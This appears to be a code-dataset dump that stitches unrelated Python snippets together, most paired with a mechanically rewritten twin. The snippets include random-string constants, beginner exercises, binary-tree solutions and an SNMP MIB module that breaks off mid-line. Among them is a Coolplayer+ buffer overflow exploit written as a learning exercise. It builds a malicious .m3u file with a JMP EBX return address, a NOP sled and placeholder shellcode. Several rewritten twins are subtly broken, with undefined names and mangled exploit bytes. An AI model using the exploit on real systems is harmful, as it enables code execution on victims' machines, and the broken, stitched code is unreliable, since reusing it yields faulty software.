"PKNICGXPFMFIESHPDDMGSSWGBIAQVBANHLGDBYENRLSUARJXLQWPMOUSUKIIVXICBJPSWOEZPEUAJSLITV" "XEQWSRENUJRJHPLBPFMBRPKGQNSYFWVLFLSQGGETKDUGYOLNFSMRVAZLQOAEKCUGNFEXRUDYSKBOQPYJAH" "QHEIMSAAMTTYVJTHZDGQEITLERRYYQCTEQPTYQPHLMBDPCZZNNJYLGAGNXONCTIBSXEHXPYWBCTEEZLIYI" "FMPYONXRVLSGZOEDZIMVDDPRXBKCKEPHOVLRBSPKMLZPXNRZVSSSYAOMGSVJODUZAJDYLGUZAFJMCOVGQX" "ZUWQJENTEWQRFZYQTVEAHFQUWBUCFWHGRTMNQQFSPKKYYUBJVXKFQCCMBNGWNTRFGFKBFWTTPNDTGGWTAK" "EOTXUPGFXOVWTOERFQSEZWVUYMGHVBQZIKIBJCNMKTZANNNOVMYTFLQYVNKTVZHFUJTPWNQWRYKGMYRYDC" "WNTCUCYJCWXMMOJXUJSDWJKTTYOBFJFLBUCECGTVWKELCBDIKDUDOBLZLHYJQTVHXSUAFHDFDMETLHHEEJ" "XJYWEOTXAUOZARSSQTBBXULKBBSTQHMJAAOUDIQCCETFWAINYIJCGXCILMDCAUYDMNZBDKIPVRCKCYKOIG" "JHBLUHPOLDBWREFAZVEFFSOQQHMCXQYCQGMBHYKHJDBZXRAXLVZNYQXZEQYRSZHKKGCSOOEGNPFZDNGIMJ" "QCXAEWWDYIGTQMJKBTMGSJAJCKIODCAEXVEGYCUBEEGCMARPJIKNAROJHYHKKTKGKKRVVSVYADCJXGSXAR" "KGOUSUSZGJGFIKJDKJUIRQVSAHSTBCVOWZJDCCBWNNCBIYTCNOUPEYACCEWZNGETBTDJWQIEWRYIQXOZKP" "ULDPCINLDFFPNORJHOZBSSYPPYNZTLXBRFZGBECKTTNVIHYNKGBXTTIXIKRBGVAPNWBPFNCGWQMZHBAHBX" "MFEPSWVBUDLYDIVLZFHXTQJWUNWQHSWSCYFXQQSVORFQGUQIHUAJYFLBNBKJPOEIPYATRMNMGUTTVBOUHE" "ZKXVAUEXCJYSCZEMGWTPXMQJEUWYHTFJQTBOQBEPQIPDYLBPIKKGPVYPOVLPPHYNGNWFTNQCDAATJVKRHC" "OZGEBPFZZDPPZOWQCDFQZJAMXLVREYJQQFTQJKHMLRFJCVPVCTSVFVAGDVNXIGINSGHKGTWCKXNRZCZFVX" "FPKZHPOMJTQOIVDIYKEVIIBAUHEDGOUNPCPMVLTZQLICXKKIYRJASBNDUZAONDDLQNVRXGWNQAOWSJSFWU" "YWTTLOVXIJYERRZQCJMRZHCXEEAKYCLEICUWOJUXWHAPHQJDTBVRPVWTMCJRAUYCOTFXLLIQLOBASBMPED" "KLDZDWDYAPXCKLZMEFIAOFYGFLBMURWVBFJDDEFXNIQOORYRMNROGVCOESSHSNIBNFRHPSWVAUQQVDMAHX" "STDOVZMZEFRRFCKOLDOOFVOBCPRRLGYFJNXVPPUZONOSALUUI" )
string_51_chars = 'SFOTYFUZTMDSOULXMKVFDOBQWNBAVGANMVLXQQZZQZQHBLJRZNY' string_301_chars = 'ZFOMVKXETILJKBZPVKOYAUPNYWWWUICNEVXVPWNAMGCNHDBRMATGPMUHUZHUJKFWWLXBQXVDNCGJHAPKEKDZCXKBXEHWCWBYDIGNYXTOFWWNLPBTVIGTNQKIQDHUAHZPWQDKKCHERBYKLAUOOKJXJJLGOPSCRVEHCOADBFYKJTXHMPPYWQVXCVGNNSXLNIHVKTVMEOIRXQDPLHIDZBAHUEDWXKXILEBOLILOYGZLNGCNXKWMFJWYYIPIDUKJVGKTUERTPRMMMVZNAAOMZJFXFSEENCAMBOUJMYXTPHJEOPKDB' string_3001_chars = 'UJSUOROQMIMCCCGFHQJVJXBCPWAOIMVOIIPFZGIZOBZWJHQLIABTGHXJMYVWYCFUIOWMVLJPJOHDVZRHUESVNQTHGXFKMGNBPRALVWQEYTFBKKKFUONDFRALDRZHKPGTWZAXOUFQJKOGTMYSFEDBEQQXIGKZMXNKDCENLSVHNGWVCIDMNSIZTBWBBVUMLPHRUCIZLZBFEGNFXZNJEZBUTNHNCYWWYSJSJDNOPPGHUPZLPJWDKEATZOUGKZEGFTFBGZDNRITDFBDJLYDGETUHBDGFEELBJBDMSRBVFPXMRJXWULONCZRZZBNFOPARFNXPQONKEIKGQDPJWCMGYSEIBAOLJNWPJVUSMJGCSQBLGZCWXJOYJHIZMNFMTLUQFGEBOONOZMGBWORFEUGYIUJAKLVAJZFTNOPOZNMUJPWRMGPKNQSBMZQRJXLRQJPYYUXLFUPICAFTXDTQIUOQRCSLWPHHUZAOPVTBRCXWUIXMFGYTRBKPWJJXNQPLIAZAOKIMDWCDZABPLNOXYOZZBTHSDIPXXBKXKOSYYCITFSMNVIOCNGEMRKRBPCLBOCXBZQVVWKNJBPWQNJOJWAGAIBOBFRVDWLXVBLMBSXYLOAWMPLKJOVHABNNIFTKTKBIIBOSHYQZRUFPPPRDQPMUVWMSWBLRUHKEMUFHIMZRUNNITKWYIWRXYPGFPXMNOABRWXGQFCWOYMMBYRQQLOIBFENIZBUIWLMDTIXCPXWNNHBSRPSMCQIMYRCFCPLQQGVOHYZOUGFEXDTOETUKQAXOCNGYBYPYWDQHYOKPCCORGRNHXZAAYYZGSWWGSCMJVCTAJUOMIMYRSVQGGPHCENXHLNFJJOEKIQWNYKBGKBMBJSFKKKYEPVXMOTAGFECZWQGVAEXHIAKTWYOWFYMDMNNHWZGBHDEXYGRYQVXQXZJYAWLJLWUGQGPHAYJWJQWRQZBNAMNGEPVPPUMOFTOZNYLEXLWWUTABROLHPFFSWTZGYPAZJXRRPATWXKRDFQJRAEOBFNIWVZDKLNYXUFBOAWSDSKFYYRTADBBYHEWNZSTDXAAOQCDWARSJZONQXRACMNBXZSEWZYBWADNDVRXBNJPJZQUNDYLBASCLCPFJWAMJUQAHBUZYDTIQPBPNJVVOHISZPVGBDNXFIHYCABTSVNVILZUPPZXMPPZVBRTRHDGHTXXLBIYTMRDOUBYBVHVVKQAXAKISFJNUTRZKOCACJAXZXRRKMFOKYBHFUDBIXFAQSNUTYFNVQNGYWPJZGTLQUMOWXKKTUZGOUXAOVLQMMNKKECQCCOBNPPPXZYWZUWHLHZQDIETDDPXWTILXGAYJKPHBXPLRFDPDSHFUPOIWRQDWQQNARPHPVKJPXZGGXOUVBYZSLUPVIJKWKNFWMFKWYSYJJCCSCALMVPYIPHDKRXOWTUAYJFTAANCTVYDNSSIHGCWGKLDHFFBFSIFBMGHHFHZQSWOWZXOUWPKNICGXPFMFIESHPDDMGSSWGBIAQVBANHLGDBYENRLSUARJXLQWPMOUSUKIIVXICBJPSWOEZPEUAJSLITVXEQWSRENUJRJHPLBPFMBRPKGQNSYFWVLFLSQGGETKDUGYOLNFSMRVAZLQOAEKCUGNFEXRUDYSKBOQPYJAHQHEIMSAAMTTYVJTHZDGQEITLERRYYQCTEQPTYQPHLMBDPCZZNNJYLGAGNXONCTIBSXEHXPYWBCTEEZLIYIFMPYONXRVLSGZOEDZIMVDDPRXBKCKEPHOVLRBSPKMLZPXNRZVSSSYAOMGSVJODUZAJDYLGUZAFJMCOVGQXZUWQJENTEWQRFZYQTVEAHFQUWBUCFWHGRTMNQQFSPKKYYUBJVXKFQCCMBNGWNTRFGFKBFWTTPNDTGGWTAKEOTXUPGFXOVWTOERFQSEZWVUYMGHVBQZIKIBJCNMKTZANNNOVMYTFLQYVNKTVZHFUJTPWNQWRYKGMYRYDCWNTCUCYJCWXMMOJXUJSDWJKTTYOBFJFLBUCECGTVWKELCBDIKDUDOBLZLHYJQTVHXSUAFHDFDMETLHHEEJXJYWEOTXAUOZARSSQTBBXULKBBSTQHMJAAOUDIQCCETFWAINYIJCGXCILMDCAUYDMNZBDKIPVRCKCYKOIGJHBLUHPOLDBWREFAZVEFFSOQQHMCXQYCQGMBHYKHJDBZXRAXLVZNYQXZEQYRSZHKKGCSOOEGNPFZDNGIMJQCXAEWWDYIGTQMJKBTMGSJAJCKIODCAEXVEGYCUBEEGCMARPJIKNAROJHYHKKTKGKKRVVSVYADCJXGSXARKGOUSUSZGJGFIKJDKJUIRQVSAHSTBCVOWZJDCCBWNNCBIYTCNOUPEYACCEWZNGETBTDJWQIEWRYIQXOZKPULDPCINLDFFPNORJHOZBSSYPPYNZTLXBRFZGBECKTTNVIHYNKGBXTTIXIKRBGVAPNWBPFNCGWQMZHBAHBXMFEPSWVBUDLYDIVLZFHXTQJWUNWQHSWSCYFXQQSVORFQGUQIHUAJYFLBNBKJPOEIPYATRMNMGUTTVBOUHEZKXVAUEXCJYSCZEMGWTPXMQJEUWYHTFJQTBOQBEPQIPDYLBPIKKGPVYPOVLPPHYNGNWFTNQCDAATJVKRHCOZGEBPFZZDPPZOWQCDFQZJAMXLVREYJQQFTQJKHMLRFJCVPVCTSVFVAGDVNXIGINSGHKGTWCKXNRZCZFVXFPKZHPOMJTQOIVDIYKEVIIBAUHEDGOUNPCPMVLTZQLICXKKIYRJASBNDUZAONDDLQNVRXGWNQAOWSJSFWUYWTTLOVXIJYERRZQCJMRZHCXEEAKYCLEICUWOJUXWHAPHQJDTBVRPVWTMCJRAUYCOTFXLLIQLOBASBMPEDKLDZDWDYAPXCKLZMEFIAOFYGFLBMURWVBFJDDEFXNIQOORYRMNROGVCOESSHSNIBNFRHPSWVAUQQVDMAHXSTDOVZMZEFRRFCKOLDOOFVOBCPRRLGYFJNXVPPUZONOSALUUI'
# You will be given series of strings until you receive an "end" command. Write a program that reverses strings and prints each pair on separate line in the format "{word} = {reversed word}". while True: word = input() if word == 'end': break reversed_word = word[::-1] print(f"{word} = {reversed_word}")
while True: word = input() if word == 'end': break reversed_word = word[::-1] print(f'{word} = {reversed_word}')
class Node(): def __init__(self, data=None, left=None, right=None): self.data = data self.left = left self.right = right def tree_in(node_list): list_in = input().split() l = len(list_in) node_list.append(Node(list_in[0])) for i in range(1, l): if list_in[i] == "None": node_list.append(None) else: new_node = Node(list_in[i]) node_list.append(new_node) if(i % 2 == 1): k = (i-1)//2 while(node_list[k] == None): k += 1 node_list[k].left = new_node else: k = (i-2)//2 while (node_list[k] == None): k += 1 node_list[k].right = new_node node_list = [] tree_in(node_list) ans = 0 for i in node_list: if(i == None): pass elif(i.left == None): pass else: ans += int(i.left.data) print(ans)
class Node: def __init__(self, data=None, left=None, right=None): self.data = data self.left = left self.right = right def tree_in(node_list): list_in = input().split() l = len(list_in) node_list.append(node(list_in[0])) for i in range(1, l): if list_in[i] == 'None': node_list.append(None) else: new_node = node(list_in[i]) node_list.append(new_node) if i % 2 == 1: k = (i - 1) // 2 while node_list[k] == None: k += 1 node_list[k].left = new_node else: k = (i - 2) // 2 while node_list[k] == None: k += 1 node_list[k].right = new_node node_list = [] tree_in(node_list) ans = 0 for i in node_list: if i == None: pass elif i.left == None: pass else: ans += int(i.left.data) print(ans)
for t in range(int(input())): n,k,v=map(int,input().split()) a=list(map(int,input().split())) s=0 for i in range(n): s+=a[i] x=(((n+k)*v)-s)/k x=float(x) if x>0: if((x).is_integer()): print(int(x)) else: print(-1) else: print(-1)
for t in range(int(input())): (n, k, v) = map(int, input().split()) a = list(map(int, input().split())) s = 0 for i in range(n): s += a[i] x = ((n + k) * v - s) / k x = float(x) if x > 0: if x.is_integer(): print(int(x)) else: print(-1) else: print(-1)
# Definition for a binary tree node. class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: def diameterOfBinaryTree(self, root): self.ans = 1 def dfs(node): if not node: return 0 l = dfs(node.left) r = dfs(node.right) self.ans = max(self.ans, l + r + 1) return max(l, r) + 1 dfs(root) return self.ans - 1
class Treenode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: def diameter_of_binary_tree(self, root): self.ans = 1 def dfs(node): if not node: return 0 l = dfs(node.left) r = dfs(node.right) self.ans = max(self.ans, l + r + 1) return max(l, r) + 1 dfs(root) return self.ans - 1
#!/usr/bin/python # Author: Michael Music # Date: 8/1/2019 # Description: Coolplayer+ Buffer Overflow Exploit # Exercise in BOFs following the securitysift guide # Tested on Windows XP # Notes: # I will be assuming that EBX is the only register pointing to input buffer. # Since EBX points to the very beginning of the buffer, and EIP is at offset 260 # I will need to put a JMP EBX address in EIP, then have JMP code in the beginning # of the buffer to JMP over the remaining junk until EIP, over EIP, over some nops # then into shellcode. # The custom JMP code will add bytes to the address in the EBX register, then jump to it. # This would end up be something like add [EBX] 280, JMP EBX # App must be installed, launched at C:/ # m3u file must be located at C:/ # EIP at offset 260 # ESP at offset 264 # EDX at offset 0 # EBX at offset 0 # There is only around 250 bytes worth of spaces at ESP, so it's limited # Can't fit shellcode in beginning of buffer (where EBX/EDX point), as EIP is at 260 # EBX points to much more space, around 10000 bytes # Solution is to JMP EBX, launch custom JMP code to jump over EIP,ESP and into shellcode # Exploit: [Custom JMP code - jump to nops][Junk][EIP - JMP EBX][nops][shellcode][Junk] # Found a JMP EBX at 0x7c873c53 in kernel32.dll exploit_string = '' # Start of buffer, contains JMP code to jump 300 bytes # Add 100 to EBX 3 times, do this to avoid using nulls if adding 300 exploit_string += '\x83\xc3\x64' * 3 # JMP EBX exploit_string += '\xff\xe3' exploit_string += '\x41' * (260-len(exploit_string)) # EIP, which should be an address for JMP EBX #exploit_string += '\x42' * 4 exploit_string += '\x53\x3c\x87\x7c' # NOP sled where the custom JMP code will land exploit_string += '\x90' * 60 # Shellcode exploit_string += '\xcc' * 500 # Filler to cause the overflow exploit_string += '\x43' * (10000 - len(exploit_string)) out = 'crash.m3u' text = open(out, 'w') text.write(exploit_string) text.close
exploit_string = '' exploit_string += '\x83Ãd' * 3 exploit_string += 'ÿã' exploit_string += 'A' * (260 - len(exploit_string)) exploit_string += 'S<\x87|' exploit_string += '\x90' * 60 exploit_string += 'Ì' * 500 exploit_string += 'C' * (10000 - len(exploit_string)) out = 'crash.m3u' text = open(out, 'w') text.write(exploit_string) text.close
# # PySNMP MIB module EICON-MIB-TRACE (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/EICON-MIB-TRACE # Produced by pysmi-0.3.4 at Mon Apr 29 18:45:10 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") MibScalar, MibTable, MibTableRow, MibTableColumn, NotificationType, ObjectIdentity, iso, Integer32, Gauge32, Unsigned32, enterprises, Bits, TimeTicks, Counter64, MibIdentifier, Counter32, ModuleIdentity, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "NotificationType", "ObjectIdentity", "iso", "Integer32", "Gauge32", "Unsigned32", "enterprises", "Bits", "TimeTicks", "Counter64", "MibIdentifier", "Counter32", "ModuleIdentity", "IpAddress") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") eicon = MibIdentifier((1, 3, 6, 1, 4, 1, 434)) management = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2)) mibv2 = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2)) module = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4)) class ActionState(Integer32): subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3)) namedValues = NamedValues(("done", 1), ("failed", 2), ("in-progress", 3)) class ControlOnOff(Integer32): subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3)) namedValues = NamedValues(("stop", 1), ("start", 2), ("invalid", 3)) class CardRef(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 6) class PortRef(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 48) class PositiveInteger(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) trace = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15)) traceFreeEntryIndex = MibScalar((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceFreeEntryIndex.setStatus('mandatory') traceControlTable = MibTable((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2), ) if mibBuilder.loadTexts: traceControlTable.setStatus('mandatory') traceControlEntry = MibTableRow((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1), ).setIndexNames((0, "EICON-MIB-TRACE", "traceCntrlIndex")) if mibBuilder.loadTexts: traceControlEntry.setStatus('mandatory') traceCntrlIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlIndex.setStatus('mandatory') traceCntrlEntryStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("invalid", 1), ("create", 2), ("valid", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryStatus.setStatus('mandatory') traceCntrlEntryOwner = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 3), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryOwner.setStatus('mandatory') traceCntrlProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=NamedValues(("x25", 1), ("sdlc", 2), ("frelay", 3), ("hdlc", 4), ("xportiso", 5), ("xporttgx", 6), ("llc", 7), ("sna", 8), ("ppp", 9), ("snafr", 10)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlProtocol.setStatus('mandatory') traceCntrlEntryReclaimTime = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 5), TimeTicks()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryReclaimTime.setStatus('mandatory') traceCntrlOnOff = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("start", 1), ("read", 2), ("stop", 3), ("invalid", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlOnOff.setStatus('mandatory') traceCntrlActionState = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 7), ActionState()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlActionState.setStatus('mandatory') traceCntrlActionError = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("no-error", 1), ("bad-param", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlActionError.setStatus('mandatory') traceCntrlFileName = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 9), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 128))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlFileName.setStatus('mandatory') traceCntrlCardRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 10), CardRef()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlCardRef.setStatus('mandatory') traceCntrlPortRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 11), PortRef()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPortRef.setStatus('mandatory') traceCntrlConnectionRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 12), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlConnectionRef.setStatus('mandatory') traceCntrlPURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 13), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPURef.setStatus('mandatory') traceCntrlModeRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 14), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlModeRef.setStatus('mandatory') traceCntrlLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 15), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlLURef.setStatus('mandatory') traceCntrlStationRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 16), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlStationRef.setStatus('mandatory') traceCntrlLLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 17), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlLLURef.setStatus('mandatory') traceCntrlRLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 18), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlRLURef.setStatus('mandatory') traceCntrlOption = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 19), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("append", 1), ("clear", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlOption.setStatus('mandatory') traceCntrlPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 20), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPeriod.setStatus('mandatory') traceCntrlMask = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 21), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlMask.setStatus('mandatory') traceCntrlBufSize = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 22), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlBufSize.setStatus('mandatory') traceCntrlEntrySize = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 23), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntrySize.setStatus('mandatory') traceCntrlBufFullAction = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 24), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("wrap", 1), ("stop", 2), ("stopAndAlarm", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlBufFullAction.setStatus('mandatory') traceCntrlReadFromEntryIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 25), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlReadFromEntryIndex.setStatus('mandatory') traceCntrlFileType = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 26), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ascii", 1), ("ebcdic", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlFileType.setStatus('mandatory') mibBuilder.exportSymbols("EICON-MIB-TRACE", mibv2=mibv2, traceCntrlOption=traceCntrlOption, traceCntrlLURef=traceCntrlLURef, traceCntrlProtocol=traceCntrlProtocol, traceCntrlEntryReclaimTime=traceCntrlEntryReclaimTime, traceCntrlBufFullAction=traceCntrlBufFullAction, traceCntrlModeRef=traceCntrlModeRef, PositiveInteger=PositiveInteger, ActionState=ActionState, trace=trace, traceCntrlActionError=traceCntrlActionError, traceCntrlBufSize=traceCntrlBufSize, traceCntrlEntrySize=traceCntrlEntrySize, traceControlTable=traceControlTable, traceCntrlMask=traceCntrlMask, management=management, traceCntrlFileType=traceCntrlFileType, traceCntrlEntryStatus=traceCntrlEntryStatus, traceCntrlReadFromEntryIndex=traceCntrlReadFromEntryIndex, PortRef=PortRef, traceCntrlPURef=traceCntrlPURef, traceCntrlPortRef=traceCntrlPortRef, traceControlEntry=traceControlEntry, ControlOnOff=ControlOnOff, traceCntrlStationRef=traceCntrlStationRef, traceFreeEntryIndex=traceFreeEntryIndex, traceCntrlFileName=traceCntrlFileName, traceCntrlEntryOwner=traceCntrlEntryOwner, traceCntrlConnectionRef=traceCntrlConnectionRef, traceCntrlLLURef=traceCntrlLLURef, traceCntrlActionState=traceCntrlActionState, traceCntrlIndex=traceCntrlIndex, traceCntrlOnOff=traceCntrlOnOff, eicon=eicon, traceCntrlRLURef=traceCntrlRLURef, traceCntrlPeriod=traceCntrlPeriod, module=module, traceCntrlCardRef=traceCntrlCardRef, CardRef=CardRef)
(integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (constraints_intersection, single_value_constraint, constraints_union, value_size_constraint, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsIntersection', 'SingleValueConstraint', 'ConstraintsUnion', 'ValueSizeConstraint', 'ValueRangeConstraint') (module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup') (mib_scalar, mib_table, mib_table_row, mib_table_column, notification_type, object_identity, iso, integer32, gauge32, unsigned32, enterprises, bits, time_ticks, counter64, mib_identifier, counter32, module_identity, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'NotificationType', 'ObjectIdentity', 'iso', 'Integer32', 'Gauge32', 'Unsigned32', 'enterprises', 'Bits', 'TimeTicks', 'Counter64', 'MibIdentifier', 'Counter32', 'ModuleIdentity', 'IpAddress') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') eicon = mib_identifier((1, 3, 6, 1, 4, 1, 434)) management = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2)) mibv2 = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2, 2)) module = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4)) class Actionstate(Integer32): subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3)) named_values = named_values(('done', 1), ('failed', 2), ('in-progress', 3)) class Controlonoff(Integer32): subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3)) named_values = named_values(('stop', 1), ('start', 2), ('invalid', 3)) class Cardref(Integer32): subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 6) class Portref(Integer32): subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 48) class Positiveinteger(Integer32): subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 2147483647) trace = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15)) trace_free_entry_index = mib_scalar((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 1), positive_integer()).setMaxAccess('readonly') if mibBuilder.loadTexts: traceFreeEntryIndex.setStatus('mandatory') trace_control_table = mib_table((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2)) if mibBuilder.loadTexts: traceControlTable.setStatus('mandatory') trace_control_entry = mib_table_row((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1)).setIndexNames((0, 'EICON-MIB-TRACE', 'traceCntrlIndex')) if mibBuilder.loadTexts: traceControlEntry.setStatus('mandatory') trace_cntrl_index = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 1), positive_integer()).setMaxAccess('readonly') if mibBuilder.loadTexts: traceCntrlIndex.setStatus('mandatory') trace_cntrl_entry_status = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('invalid', 1), ('create', 2), ('valid', 3)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntryStatus.setStatus('mandatory') trace_cntrl_entry_owner = mib_table_column((1, 3, 6, 1, 4, 1, 434, 